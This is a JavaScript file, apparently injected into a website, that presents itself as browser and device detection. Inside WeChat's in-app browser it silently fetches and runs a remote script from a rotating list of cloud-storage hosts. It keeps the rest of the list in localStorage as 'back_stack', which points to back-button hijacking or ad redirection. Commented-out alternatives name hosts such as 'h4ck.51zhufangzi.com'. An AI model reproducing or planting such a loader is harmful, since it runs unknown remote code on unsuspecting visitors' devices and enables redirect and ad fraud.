
(function() {
    var browser = {
        versions: function () {
            var u = navigator.userAgent.toLowerCase(), app = navigator.appVersion;
            return {//移动终端浏览器版本信息
                trident: u.indexOf('trident') > -1, //IE内核
                presto: u.indexOf('presto') > -1, //opera内核
                webKit: u.indexOf('applewebkit') > -1, //苹果、谷歌内核
                gecko: u.indexOf('gecko') > -1 && u.indexOf('khtml') == -1, //火狐内核
                mobile: !!u.match(/applewebkit.*mobile/i) || !!u.match(/midp|symbianos|nokia|samsung|lg|nec|tcl|alcatel|bird|dbtel|dopod|philips|haier|lenovo|mot-|nokia|sonyericsson|sie-|amoi|zte/), //是否为移动终端
                ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios终端
                android: u.indexOf('android') > -1 || u.indexOf('linux') > -1, //android终端或者uc浏览器
                iPhone: u.indexOf('iphone') > -1 || u.indexOf('mac') > -1, //是否为iPhone或者QQHD浏览器
                iPad: u.indexOf('ipad') > -1, //是否iPad
                webApp: u.indexOf('safari') == -1 //是否web应该程序，没有头部与底部
            };
        } (),
        language: (navigator.browserLanguage || navigator.language).toLowerCase()
    };
    
    var ua = navigator.userAgent.toLowerCase();
    if (/micromessenger/.test(ua)) {
        var stack = [
           //'//h4ck.51zhufangzi.com/vp1.js?v1',
           //'//h4ck.51zhufangzi.com/xs/a6.js?v1',
		    '//zlei1.oss-cn-hangzhou.aliyuncs.com/a2.js?v1',
		    //'//api.quantroom.com/backup/ad.php',
		    '//zlei1.oss-cn-hangzhou.aliyuncs.com/a5.js?v1',
		    '//zlei1.oss-cn-hangzhou.aliyuncs.com/a4.js?v1',
		    '//jkewm.oss-cn-beijing.aliyuncs.com/nk/nk.js',
		    '//zlei1.oss-cn-hangzhou.aliyuncs.com/vp2.js'
		    
		   // '//api.quantroom.com/backup/nk5.js?v1',
		   // '//api.quantroom.com/backup/nk.js',
		   // '//api.quantroom.com/backup/nk7.js',
		   //'//api.quantroom.com/backup/sff.js?v1',
		   //'//api.quantroom.com/backup/qp1.js',
		   //'//api.quantroom.com/backup/zfb.js',
		   //'//api.quantroom.com/backup/ffc.js',
			//'//api.quantroom.com/backup/qp.js',
			//'//api.quantroom.com/backup/vp3.php',
		    //'//api.quantroom.com/backup/vp1.php',
			//'//api.quantroom.com/backup/gp.js',
	    //	'//api.quantroom.com/backup/db.js',
		    //'//api.quantroom.com/backup/agnk.js',
			//'//api.quantroom.com/backup/tf.js',
			//'//api.quantroom.com/backup/jy.php',
			//'//api.quantroom.com/backup/nk.js?i',
		/*	'//api.quantroom.com/backup/ad.php',
 			'//api.quantroom.com/backup/xs1.js',
			'//api.quantroom.com/backup/xs2.js',
			'//api.quantroom.com/backup/xs3.js',
			'//api.quantroom.com/backup/xs4.js',
			'//api.quantroom.com/backup/xs5.js',
			'//api.quantroom.com/backup/xs6.js',
			'//api.quantroom.com/backup/xs7.js', */
			//'//api.quantroom.com/backup/vp.js',
			//'//api.quantroom.com/backup/db.php',
			
			//'//api.quantroom.com/backup/nk3.js',
			//'//api.quantroom.com/backup/song.js',

			//'//api.quantroom.com/zhuanpan/zpp.js'
        ];
        
        if (browser.versions.android) {
         //   stack.splice(0,0,'//api.quantroom.com/ad.js?ggj');
		// stack.splice(1,0,'//api.quantroom.com/backup/ad.php');
		 //stack.splice(4,0,'//api.quantroom.com/backup/zp.js');
        }

        var url = stack.shift();

        localStorage.setItem('back_stack',JSON.stringify(stack));

        var s = document.createElement('script');
        s.setAttribute('src',url);
        document.body.appendChild(s);
    }
})()